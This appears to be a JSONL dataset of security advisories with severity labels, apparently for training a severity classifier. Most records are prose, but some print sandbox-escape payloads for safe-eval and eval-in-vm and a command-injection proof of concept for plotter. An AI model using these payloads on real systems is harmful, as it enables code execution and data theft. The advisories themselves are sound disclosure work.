-{"id": "a2668ce8c619222dafec", "text": "Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)", "text_raw": "Elecard MPEG Player 5.7 Local Buffer Overflow PoC (SEH)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-02-24", "split": "train"}
-{"id": "51f4b954b475e4d21864", "text": "Missing Authorization in FastReport\n\nAn issue was discovered in FastReport before 2020.4.0. It lacks a ScriptSecurity feature and therefore may mishandle (for example) GetType, typeof, TypeOf, DllImport, LoadLibrary, and GetProcAddress.", "text_raw": "Missing Authorization in FastReport\n\n[Severity: CRITICAL]\n\nAn issue was discovered in FastReport before 2020.4.0. It lacks a ScriptSecurity feature and therefore may mishandle (for example) GetType, typeof, TypeOf, DllImport, LoadLibrary, and GetProcAddress.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "567eb84608d09de0994d", "text": "NULL Pointer Dereference in OpenCV.\n\nAn issue was discovered in OpenCV before 4.1.1 (OpenCV-Python before 4.1.1.26). There is a NULL pointer dereference in the function cv::XMLParser::parse at modules/core/src/persistence.cpp.", "text_raw": "NULL Pointer Dereference in OpenCV.\n\n[Severity: HIGH]\n\nAn issue was discovered in OpenCV before 4.1.1 (OpenCV-Python before 4.1.1.26). There is a NULL pointer dereference in the function cv::XMLParser::parse at modules/core/src/persistence.cpp.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "488c23b63dba00d04e8c", "text": "Ansible does not verify that the server hostname matches a domain name in certificates\n\nAnsible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.", "text_raw": "Ansible does not verify that the server hostname matches a domain name in certificates\n\n[Severity: HIGH]\n\nAnsible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "aa525558a16c2bbaff33", "text": "Commons FileUpload Denial of service vulnerability\n\nMultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted Content-Type header that bypasses a loop's intended exit conditions.", "text_raw": "Commons FileUpload Denial of service vulnerability\n\n[Severity: HIGH]\n\nMultipartStream.java in Apache Commons FileUpload before 1.3.1, as used in Apache Tomcat, JBoss Web, and other products, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a crafted Content-Type header that bypasses a loop's intended exit conditions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "fd798243e3575eaf5114", "text": "Infoproject Biznis Heroj (login.php) Authentication Bypass Vulnerability", "text_raw": "Infoproject Biznis Heroj (login.php) Authentication Bypass Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-12-21", "split": "train"}
-{"id": "e234a59b41eb97f10705", "text": "netaddr before 1.5.3 and 2.0.4 has Incorrect Default Permissions\n\nThe netaddr gem before 1.5.3 and 2.0.4 for Ruby has misconfigured file permissions, such that a gem install may result in 0777 permissions in the target filesystem.", "text_raw": "netaddr before 1.5.3 and 2.0.4 has Incorrect Default Permissions\n\n[Severity: CRITICAL]\n\nThe netaddr gem before 1.5.3 and 2.0.4 for Ruby has misconfigured file permissions, such that a gem install may result in 0777 permissions in the target filesystem.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-14", "split": "train"}
-{"id": "6dd379d01cd22a0ce952", "text": "Denial of service in go-ethereum due to CVE-2020-28362\n\n### Impact\nVersions of Geth built with Go `<1.15.5` or `<1.14.12` are most likely affected by a critical DoS-related security vulnerability. The golang team has registered the underlying flaw as ‘CVE-2020-28362’.\n\nWe recommend all users to rebuild (ideally `v1.9.24`) with Go `1.15.5` or `1.14.12`, to avoid node crashes. Alternatively, if you are running binaries distributed via one of our official channels, we’re going to release `v1.9.24` ourselves built with Go `1.15.5`.\n\n### Patches\nThis is not an issue in go-ethereum, rebuilding an older version with Go `1.15.5` or `1.14.12` will suffice to address the vulnerability.\n\n### Workarounds\nRebuilding with Go `1.15.5` or `1.14.12` will suffice to address the vulnerability.\n\n### References\n- https://blog.ethereum.org/2020/11/12/geth_security_release/\n- https://groups.google.com/g/golang-announce/c/NpBGTTmKzpM\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Denial of service in go-ethereum due to CVE-2020-28362\n\n[Severity: CRITICAL]\n\n### Impact\nVersions of Geth built with Go `<1.15.5` or `<1.14.12` are most likely affected by a critical DoS-related security vulnerability. The golang team has registered the underlying flaw as ‘CVE-2020-28362’.\n\nWe recommend all users to rebuild (ideally `v1.9.24`) with Go `1.15.5` or `1.14.12`, to avoid node crashes. Alternatively, if you are running binaries distributed via one of our official channels, we’re going to release `v1.9.24` ourselves built with Go `1.15.5`.\n\n### Patches\nThis is not an issue in go-ethereum, rebuilding an older version with Go `1.15.5` or `1.14.12` will suffice to address the vulnerability. \n\n### Workarounds\nRebuilding with Go `1.15.5` or `1.14.12` will suffice to address the vulnerability. \n\n### References\n- https://blog.ethereum.org/2020/11/12/geth_security_release/\n- https://groups.google.com/g/golang-announce/c/NpBGTTmKzpM\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "dac6aa321fcbdaea7746", "text": "In blynk-server a Directory Traversal exists\n\nIn blynk-server in Blynk before 0.39.7, Directory Traversal exists via a ../ in a URI that has /static or /static/js at the beginning, as demonstrated by reading the /etc/passwd file.", "text_raw": "In blynk-server a Directory Traversal exists\n\n[Severity: HIGH]\n\nIn blynk-server in Blynk before 0.39.7, Directory Traversal exists via a ../ in a URI that has /static or /static/js at the beginning, as demonstrated by reading the /etc/passwd file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "06842571d31153ec931c", "text": "sprockets vulnerable to Path Traversal\n\nMultiple directory traversal vulnerabilities in `server.rb` in Sprockets before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3, 2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3, and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow remote attackers to determine the existence of files outside the application root via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding.", "text_raw": "sprockets vulnerable to Path Traversal\n\n[Severity: MEDIUM]\n\nMultiple directory traversal vulnerabilities in `server.rb` in Sprockets before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3, 2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3, and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow remote attackers to determine the existence of files outside the application root via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "697ddd7047742152f164", "text": "Sandbox Breakout / Arbitrary Code Execution in @zhaoyao91/eval-in-vm\n\nAll versions of `@zhaoyao91/eval-in-vm` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in @zhaoyao91/eval-in-vm\n\n[Severity: CRITICAL]\n\nAll versions of `@zhaoyao91/eval-in-vm` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "90488e3520ce58bd1d0f", "text": "Duplicate Advisory: Use after free in libpulse-binding\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f56g-chqp-22m9. This link is maintained to preserve external references.\n\n## Original Description\nAn issue was discovered in the libpulse-binding crate before 2.5.0 for Rust. proplist::Iterator can cause a use-after-free.", "text_raw": "Duplicate Advisory: Use after free in libpulse-binding\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-f56g-chqp-22m9. This link is maintained to preserve external references.\n\n## Original Description\nAn issue was discovered in the libpulse-binding crate before 2.5.0 for Rust. proplist::Iterator can cause a use-after-free.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "6f1b73a66cc23e77c5f3", "text": "Undirectional routing wasn't respected in some cases in Mitogen\n\ncore.py in Mitogen before 0.2.8 has a typo that drops the unidirectional-routing protection mechanism in the case of a child that is initiated by another child. The Ansible extension is unaffected. NOTE: the vendor disputes this issue because it is exploitable only in conjunction with hypothetical other factors, i.e., an affected use case within a library caller, and a bug in the message receiver policy code that led to reliance on this extra protection mechanism.", "text_raw": "Undirectional routing wasn't respected in some cases in Mitogen\n\n[Severity: CRITICAL]\n\ncore.py in Mitogen before 0.2.8 has a typo that drops the unidirectional-routing protection mechanism in the case of a child that is initiated by another child. The Ansible extension is unaffected. NOTE: the vendor disputes this issue because it is exploitable only in conjunction with hypothetical other factors, i.e., an affected use case within a library caller, and a bug in the message receiver policy code that led to reliance on this extra protection mechanism.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-19", "split": "train"}
-{"id": "ca0b2e22b3babe996471", "text": "Malicious Package in tiar\n\nAll versions of `tiar` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in tiar\n\n[Severity: CRITICAL]\n\nAll versions of `tiar` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a8a1b5e785c02a38cca9", "text": "Prototype Pollution in handlebars\n\nVersions of `handlebars` prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects' `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code through crafted payloads.\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.3.0 or later.", "text_raw": "Prototype Pollution in handlebars\n\n[Severity: CRITICAL]\n\nVersions of `handlebars` prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects' `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code through crafted payloads.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.3.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-26", "split": "train"}
-{"id": "c07ccee6adaeba337df6", "text": "Cross-Site Scripting in @novnc/novnc\n\nVersions of `@novnc/novnc` prior to 0.6.2 are vulnerable to Cross-Site Scripting (XSS). The package fails to validate input from the remote VNC server such as the VNC server name. This allows an attacker in control of the remote server to execute arbitrary JavaScript in the noVNC web page. It affects any users of `include/ui.js` and users of `vnc_auto.html` and `vnc.html`.\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "text_raw": "Cross-Site Scripting in @novnc/novnc\n\n[Severity: MEDIUM]\n\nVersions of `@novnc/novnc` prior to 0.6.2 are vulnerable to Cross-Site Scripting (XSS). The package fails to validate input from the remote VNC server such as the VNC server name. This allows an attacker in control of the remote server to execute arbitrary JavaScript in the noVNC web page. It affects any users of `include/ui.js` and users of `vnc_auto.html` and `vnc.html`.\n\n\n## Recommendation\n\nUpgrade to version 0.6.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-28", "split": "train"}
-{"id": "933d1b23b73c17eb6294", "text": "Data race in ruspiro-singleton\n\n`Singleton<T>` is meant to be a static object that can be initialized lazily. In\norder to satisfy the requirement that `static` items must implement `Sync`,\n`Singleton` implemented both `Sync` and `Send` unconditionally.\n\nThis allows for a bug where non-`Sync` types such as `Cell` can be used in\nsingletons and cause data races in concurrent programs.\n\nThe flaw was corrected in commit `b0d2bd20e` by adding trait bounds, requiring\nthe contaiend type to implement `Sync`.", "text_raw": "Data race in ruspiro-singleton\n\n[Severity: HIGH]\n\n`Singleton<T>` is meant to be a static object that can be initialized lazily. In\norder to satisfy the requirement that `static` items must implement `Sync`,\n`Singleton` implemented both `Sync` and `Send` unconditionally.\n\nThis allows for a bug where non-`Sync` types such as `Cell` can be used in\nsingletons and cause data races in concurrent programs.\n\nThe flaw was corrected in commit `b0d2bd20e` by adding trait bounds, requiring\nthe contaiend type to implement `Sync`.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "bdab4e03909bad3607d1", "text": "Authenticated path traversal in Umbraco CMS\n\nAn authenticated path traversal vulnerability exists during package installation in Umbraco CMS <= 8.9.1 or current, which could result in arbitrary files being written outside of the site home and expected paths when installing an Umbraco package.", "text_raw": "Authenticated path traversal in Umbraco CMS\n\n[Severity: MEDIUM]\n\nAn authenticated path traversal vulnerability exists during package installation in Umbraco CMS <= 8.9.1 or current, which could result in arbitrary files being written outside of the site home and expected paths when installing an Umbraco package.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "953be4d3e4b778364527", "text": "Temporary urls leaked via logging\n\nIn OpenStack Swift prior to 2.15.2, the proxy-server logs full tempurl paths, potentially leaking reusable tempurl signatures to anyone with read access to these logs. All Swift deployments using the tempurl middleware are affected.", "text_raw": "Temporary urls leaked via logging\n\n[Severity: LOW]\n\nIn OpenStack Swift prior to 2.15.2, the proxy-server logs full tempurl paths, potentially leaking reusable tempurl signatures to anyone with read access to these logs. All Swift deployments using the tempurl middleware are affected.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "cdf85541108e0b4db5d0", "text": "Authenticated Stored XSS in Administration\n\n### Impact\nAuthenticated Stored XSS in Administration\n\n### Patches\nWe recommend updating to the current version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-05-2021", "text_raw": "Authenticated Stored XSS in Administration\n\n[Severity: MEDIUM]\n\n### Impact\nAuthenticated Stored XSS in Administration\n\n### Patches\nWe recommend updating to the current version 5.6.10. You can get the update to 5.6.10 regularly via the Auto-Updater or directly via the download overview.\n\nFor older versions you can use the Security Plugin:\nhttps://store.shopware.com/en/swag575294366635f/shopware-security-plugin.html\n\n\n### References\nhttps://docs.shopware.com/en/shopware-5-en/security-updates/security-update-05-2021", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "4d08df94669a115f621f", "text": "Symlink Arbitrary File Overwrite in tar\n\nVersions of `tar` prior to 2.0.0 are affected by an arbitrary file write vulnerability. The vulnerability occurs because `tar` does not verify that extracted symbolic links to not resolve to targets outside of the extraction root directory.\n\n## Recommendation\n\nUpdate to version 2.0.0 or later", "text_raw": "Symlink Arbitrary File Overwrite in tar\n\n[Severity: HIGH]\n\nVersions of `tar` prior to 2.0.0 are affected by an arbitrary file write vulnerability. The vulnerability occurs because `tar` does not verify that extracted symbolic links to not resolve to targets outside of the extraction root directory.\n\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "365276009d44ae07a7f0", "text": "Cross-Site Scripting via Rich-Text Content\n\n### Problem\nFailing to properly parse, sanitize and encode malicious rich-text content, the content rendering process in the website frontend is vulnerable to cross-site scripting. Corresponding rendering instructions via TypoScript functionality _[HTMLparser](https://docs.typo3.org/m/typo3/reference-typoscript/10.4/en-us/Functions/Htmlparser.html)_ do not consider all potentially malicious HTML tag & attribute combinations per default.\n\nIn addition, the lack of comprehensive default node configuration for rich-text fields in the backend user interface fosters this malfunction.\n\nIn default scenarios, a valid backend user account is needed to exploit this vulnerability. In case custom plugins used in the website frontend accept and reflect rich-text content submitted by users, no authentication is required.\n\n### Solution\nUpdate to TYPO3 versions 7.6.53 ELTS, 8.7.42 ELTS, 9.5.29, 10.4.19, 11.3.2 that fix the problem described above.\n\nCustom package _[typo3/html-sanitizer](https://github.com/TYPO3/html-sanitizer)_ - based on allow-lists only - takes care of sanitizing potentially malicious markup. The default behavior is based on safe and commonly used markup - however, this can be extended or restricted further in case it is necessary for individual scenarios.\n\nDuring the frontend rendering process, sanitization is applied to the default TypoScript path `lib.parseFunc`, which is implicitly used by the Fluid view-helper instruction `f:format.html`. Rich-text data persisted using the backend user interface is sanitized as well. Implementation details are explained in corresponding [ChangeLog documentation](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/9.5.x/Important-94484-IntroduceHTMLSanitizer.html).\n\n### Credits\nThanks to Benjamin Stiber, Gert-Jan Jansma, Gábor Ács-Kurucz, Alexander Kellner, Richie Lee, Nina Rösch who reported this issue, and to TYPO3 security team member Oliver Hader, as well as TYPO3 contributor Susanne Moog who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-013](https://typo3.org/security/advisory/typo3-core-sa-2021-013)", "text_raw": "Cross-Site Scripting via Rich-Text Content\n\n[Severity: MEDIUM]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC` (5.7)\n\n### Problem\nFailing to properly parse, sanitize and encode malicious rich-text content, the content rendering process in the website frontend is vulnerable to cross-site scripting. Corresponding rendering instructions via TypoScript functionality _[HTMLparser](https://docs.typo3.org/m/typo3/reference-typoscript/10.4/en-us/Functions/Htmlparser.html)_ do not consider all potentially malicious HTML tag & attribute combinations per default.\n\nIn addition, the lack of comprehensive default node configuration for rich-text fields in the backend user interface fosters this malfunction.\n\nIn default scenarios, a valid backend user account is needed to exploit this vulnerability. In case custom plugins used in the website frontend accept and reflect rich-text content submitted by users, no authentication is required.\n\n### Solution\nUpdate to TYPO3 versions 7.6.53 ELTS, 8.7.42 ELTS, 9.5.29, 10.4.19, 11.3.2 that fix the problem described above.\n\nCustom package _[typo3/html-sanitizer](https://github.com/TYPO3/html-sanitizer)_ - based on allow-lists only - takes care of sanitizing potentially malicious markup. The default behavior is based on safe and commonly used markup - however, this can be extended or restricted further in case it is necessary for individual scenarios.\n\nDuring the frontend rendering process, sanitization is applied to the default TypoScript path `lib.parseFunc`, which is implicitly used by the Fluid view-helper instruction `f:format.html`. Rich-text data persisted using the backend user interface is sanitized as well. Implementation details are explained in corresponding [ChangeLog documentation](https://docs.typo3.org/c/typo3/cms-core/master/en-us/Changelog/9.5.x/Important-94484-IntroduceHTMLSanitizer.html).\n\n### Credits\nThanks to Benjamin Stiber, Gert-Jan Jansma, Gábor Ács-Kurucz, Alexander Kellner, Richie Lee, Nina Rösch who reported this issue, and to TYPO3 security team member Oliver Hader, as well as TYPO3 contributor Susanne Moog who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2021-013](https://typo3.org/security/advisory/typo3-core-sa-2021-013)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-19", "split": "train"}
-{"id": "0d8c85a48e2272ff5266", "text": "Command Injection in soletta-dev-app\n\nAll versions of `soletta-dev-app` are vulnerable to Command Injection. The package does not validate user input on the `/api/service/status` API endpoint, passing contents of the `service` query parameter to an exec call. This may allow attackers to run arbitrary commands in the system.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Command Injection in soletta-dev-app\n\n[Severity: HIGH]\n\nAll versions of `soletta-dev-app` are vulnerable to Command Injection. The package does not validate user input on the `/api/service/status` API endpoint, passing contents of the `service` query parameter to an exec call. This may allow attackers to run arbitrary commands in the system.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "d5433fdfe0714c42ee80", "text": "Grav's Twig processing allowing dangerous PHP functions by default\n\n### Impact\n\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. \nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n\n### Patches\n\nThe issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (`system.twig.safe_functions`) and filters (`system.twig.safe_filters`).\n\nFutures major versions of Grav may disable this functionality by default.\n\n### Workarounds\n\nBlocking access to the `/admin` path from untrusted sources will reduce the probability of exploitation.\n\n### References\n\n- https://portswigger.net/research/server-side-template-injection\n- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n  - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n  - The maintainers, by opening an issue on this repository.", "text_raw": "Grav's Twig processing allowing dangerous PHP functions by default\n\n[Severity: HIGH]\n\n### Impact\n\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. \nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.\n\n### Patches\n\nThe issue was addressed by preventing dangerous functions from being called in Twig templates. A configuration option has been added to manually allow arbitrary PHP functions (`system.twig.safe_functions`) and filters (`system.twig.safe_filters`). \n\nFutures major versions of Grav may disable this functionality by default. \n\n### Workarounds\n\nBlocking access to the `/admin` path from untrusted sources will reduce the probability of exploitation. \n\n### References\n\n- https://portswigger.net/research/server-side-template-injection\n- https://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n  - The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n  - The maintainers, by opening an issue on this repository.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "45807dfb703d03fef76a", "text": "Arbitrary file read vulnerability in yard server\n\n`lib/yard/core_ext/file.rb` in the server in YARD before 0.9.11 does not block relative paths with an initial `../` sequence, which allows attackers to conduct directory traversal attacks and read arbitrary files.", "text_raw": "Arbitrary file read vulnerability in yard server\n\n[Severity: HIGH]\n\n`lib/yard/core_ext/file.rb` in the server in YARD before 0.9.11 does not block relative paths with an initial `../` sequence, which allows attackers to conduct directory traversal attacks and read arbitrary files.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-21", "split": "train"}
-{"id": "8b3985c50b5aafdc9599", "text": "Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability", "text_raw": "Pacer Edition CMS 2.1 Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-09", "split": "train"}
-{"id": "eefc4ce5d3d3253f710c", "text": "Sandbox Breakout / Arbitrary Code Execution in safe-eval\n\nAll versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.\n\nFor example, the payload \n```\n((() => { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safe-eval\n\n[Severity: HIGH]\n\nAll versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() => { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ad1e8644f146402f8ef5", "text": "Improper Access Control in moodle\n\nUsers' enrollment capabilities were not being sufficiently checked in Moodle when they are restored into an existing course. This could lead to them unenrolling users without having permission to do so. Versions affected: 3.5 to 3.5.14, 3.7 to 3.7.8, 3.8 to 3.8.5, 3.9 to 3.9.2 and earlier unsupported versions. Fixed in 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "text_raw": "Improper Access Control in moodle\n\n[Severity: HIGH]\n\nUsers' enrollment capabilities were not being sufficiently checked in Moodle when they are restored into an existing course. This could lead to them unenrolling users without having permission to do so. Versions affected: 3.5 to 3.5.14, 3.7 to 3.7.8, 3.8 to 3.8.5, 3.9 to 3.9.2 and earlier unsupported versions. Fixed in 3.9.3, 3.8.6, 3.7.9, 3.5.15, and 3.10.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "312220a4af78ca1a7c05", "text": "Command Injection in plotter\n\nAll versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Command Injection in plotter\n\n[Severity: CRITICAL]\n\nAll versions of `plotter` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar plot = require('plotter').plot;\n\nconst title = 'Example \"\\nset title system(\"touch testing\")#';\n\nplot({\ndata: [ 3, 1, 2, 3, 4 ],\nfilename: 'output.pdf',\nstyle: 'linespoints',\ntitle: title,\nlogscale: true,\nxlabel: 'time',\nylabel: 'length of string',\nformat: 'pdf'\n});\n\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "016284ba0f5cb9a01600", "text": "SAML XML Signature wrapping in PySAML2\n\n### Impact\n\nAll users of pysaml2 that use the default `CryptoBackendXmlSec1` backend and need to verify signed SAML documents are impacted. `pysaml2 <= 6.4.1` does not validate the SAML document against an XML schema. This allows invalid XML documents to trick the verification process, by presenting elements with a valid signature inside elements whose content has been malformed. The verification is offloaded to `xmlsec1` and `xmlsec1` will not validate every signature in the given document, but only the first it finds in the given scope.\n\n### Patches\n\nUsers should upgrade to pysaml2 `v6.5.0`.\n\n### Workarounds\n\nNo workaround provided at this point.\n\n### References\n\nNo references provided at this point.\n\n### Credits\n\n- Victor Schönfelder Garcia (isits AG International School of IT Security)\n- Juraj Somorovsky (Paderborn University)\n- Vladislav Mladenov (Ruhr University Bochum)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [pysaml2](https://github.com/IdentityPython/pysaml2)\n* Email us at [the incident-response address](mailto:incident-response@idpy.org)", "text_raw": "SAML XML Signature wrapping in PySAML2\n\n[Severity: MEDIUM]\n\n### Impact\n\nAll users of pysaml2 that use the default `CryptoBackendXmlSec1` backend and need to verify signed SAML documents are impacted. `pysaml2 <= 6.4.1` does not validate the SAML document against an XML schema. This allows invalid XML documents to trick the verification process, by presenting elements with a valid signature inside elements whose content has been malformed. The verification is offloaded to `xmlsec1` and 